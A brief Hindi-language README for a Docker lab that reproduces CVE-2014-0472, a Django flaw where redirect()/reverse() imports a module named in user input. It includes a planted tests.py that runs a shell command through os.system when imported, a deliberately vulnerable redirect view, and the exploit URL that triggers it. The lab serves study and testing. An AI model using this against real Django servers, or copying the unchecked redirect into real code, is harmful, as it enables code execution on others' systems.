
CVE-2014-0472 Django में reverse() का उपयोग करके अप्रत्याशित कोड निष्पादन
उपयोग करें
docker-compose up -d
localhost:8083 तक पहुंचें
संदर्भ: https://www.djangoproject.com/weblog/2014/apr/21/security/
- एक या अधिक व्यू (views) मौजूद हैं जो उपयोगकर्ता इनपुट के आधार पर URL बनाते हैं (आमतौर पर, क्वेरीस्ट्रिंग में एक "next" पैरामीटर जो किसी कार्रवाई के सफल समापन पर रीडायरेक्ट करने का स्थान इंगित करता है)।
- एक या अधिक मॉड्यूल हमलावर को सर्वर के Python आयात पथ पर मौजूद होने के लिए ज्ञात होते हैं, जो आयात करने पर दुष्प्रभावों के साथ कोड निष्पादन करते हैं।
tests.py में
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
views.py में
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
रीडायरेक्ट फ़ंक्शन का उपयोग करके evil फ़ंक्शन को कॉल करें

exp का उपयोग करें
http://your-ip:8083/example?page=app.tests.evil

शोषण किया गया
